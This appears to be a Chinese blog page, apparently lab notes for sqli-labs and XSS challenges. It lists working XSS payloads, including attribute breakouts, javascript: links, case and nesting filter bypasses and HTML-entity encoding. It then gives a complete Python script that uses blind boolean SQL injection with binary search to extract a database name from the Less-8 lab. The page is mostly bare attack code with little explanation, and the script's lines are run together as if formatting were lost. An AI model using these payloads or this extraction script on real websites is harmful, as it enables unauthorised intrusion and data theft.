当前位置: 首页 > news >正文

sql注入以及Python二分查找

sql注入

 

 /level1.php?name=<script>alert(1)</script>

 

 

 "><script>alert(1)</script>

 

 

 'οnclick='alert(1)

 

 

 " οnclick="alert(1)

 

 

 "><a href="javascript:alert(1)">

 

 

 

 "><a HrEf="javascript:alert(1)">

 

 

 

 "><scscriptript>alert(1)</sscriptcript>

 

 

 HTML字符实体转换,网页字符实体编码https://www.qqxiuzi.cn/bianma/zifushiti.php

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

 

Python二分查找

import requests
import time# 配置信息
BASE_URL = "http://127.0.0.1/range/sqli-labs/Less-8/"
SUCCESS_MESSAGE = "You are in..........."
CHARSET = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_!@#$%^&*()-+=`~[]{}|;:\",./<>?'
HEADERS = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Accept-Language': 'en-US,en;q=0.5','Connection': 'keep-alive',
}
TIMEOUT = 5  # 请求超时时间(秒)
DELAY = 0.1  # 请求间隔时间(秒)def send_payload(payload):"""发送SQL注入payload并返回是否成功"""try:url = f"{BASE_URL}?id={payload}"response = requests.get(url, headers=HEADERS, timeout=TIMEOUT)time.sleep(DELAY)  # 避免请求过快return SUCCESS_MESSAGE in response.textexcept requests.RequestException as e:print(f"请求异常: {e}")return Falsedef binary_search(min_val, max_val, payload_template, char_mode=False):"""通用二分查找函数"""left, right = min_val, max_valwhile left <= right:mid = (left + right) // 2current_char = chr(mid) if char_mode else mid# 大于判断payload = payload_template.format(operator='>', value=current_char)if send_payload(payload):left = mid + 1continue# 小于判断payload = payload_template.format(operator='<', value=current_char)if send_payload(payload):right = mid - 1continue# 等于return current_charreturn Nonedef get_length_digits_count():"""获取数据库名长度的位数"""print("[+] 正在获取数据库名长度的位数...")payload_template = "1' and if(substr(length(length(database())), 1, 1){operator}{value}, 1, 0)--+"return binary_search(0, 9, payload_template)def get_database_length(digits_count):"""获取数据库名的长度"""print(f"[+] 数据库名长度的位数: {digits_count}")print("[+] 正在获取数据库名长度...")length_str = ''for i in range(1, digits_count + 1):payload_template = f"1' and if(substr(length(database()), {i}, 1){{operator}}{{value}}, 1, 0)--+"digit = binary_search(0, 9, payload_template)if digit is None:print(f"[-] 获取第 {i} 位长度失败")return Nonelength_str += str(digit)print(f"[*] 已获取长度第 {i}/{digits_count} 位: {digit}")return int(length_str)def get_database_name(length):"""获取数据库名"""print(f"[+] 数据库名长度: {length}")print("[+] 正在获取数据库名...")db_name = ''for i in range(1, length + 1):payload_template = f"1' and if(ascii(substr(database(), {i}, 1)){{operator}}{{value}}, 1, 0)--+"char_code = binary_search(32, 126, payload_template, char_mode=True)if char_code is None:print(f"[-] 获取第 {i} 个字符失败")char = '?'else:char = chr(char_code)db_name += charprint(f"[*] 已获取字符 {i}/{length}: {char} ({char_code})")return db_nameif __name__ == '__main__':try:digits_count = get_length_digits_count()if digits_count is None:print("[-] 获取数据库名长度的位数失败")exit(1)db_length = get_database_length(digits_count)if db_length is None:print("[-] 获取数据库名长度失败")exit(1)db_name = get_database_name(db_length)print(f"\n[+] 数据库名获取完成: {db_name}")print(f"[+] 数据库名长度: {db_length}")except KeyboardInterrupt:print("\n[-] 用户中断")exit(1)except Exception as e:print(f"[-] 发生错误: {e}")exit(1)

http://www.lryc.cn/news/591968.html

相关文章:

  • 创建型模式
  • MinIO 分布式文件系统
  • 第二篇 html5和css3开发基础与应用
  • 【论文阅读】BEVFusion: A Simple and Robust LiDAR-Camera Fusion Framework
  • poi-excel-添加水印
  • 20250718【顺着234回文链表做两题反转】Leetcodehot100之20692【直接过12明天吧】今天计划
  • Vue导出Html为Word中包含图片在Microsoft Word显示异常问题
  • Excel批量生成SQL语句 Excel批量生成SQL脚本 Excel拼接sql
  • FastExcel:革新Java生态的高性能Excel处理引擎
  • 2.3 前端-ts的接口以及自定义类型
  • VUE目录结构详解
  • html5+css3+canvas纯前端4字方形LOGO生成器
  • Edge浏览器的多用户配置文件功能
  • java前端基础--HTMLCSS、JavaScript、Vue、Ajax
  • 【移动端知识】移动端多 WebView 互访方案:Android、iOS 与鸿蒙实现
  • 首个直播流扩散(LSD)AI模型:MirageLSD,它可以实时把任意视频流转换成你的自定义服装风格——虚拟换装新体验
  • MyUI表单VcForm组件文档
  • 组件-多行文本省略-展开收起
  • Android性能优化之内存优化
  • 强化学习框架VeRL全面解析(架构、调试、修改与应用)
  • 云原生 DevOps 实战之Jenkins+Gitee+Harbor+Kubernetes 构建自动化部署体系
  • 【unitrix】 6.8 加一运算(add_one.rs)
  • 【问题解决】npm包下载速度慢
  • 游戏盾在非游戏行业的应用:跨界守护网络安全的新利器
  • Rust实战:高效对接Postman API
  • ArcGIS Pro+PS 实现地形渲染效果图
  • 谷歌地球与ArcGIS Pro查看三维地形
  • SpringMVC + Tomcat10
  • Git使用与管理
  • 时序数据库 Apache IoTDB 实战:基于 Kubernetes 的部署运维全指南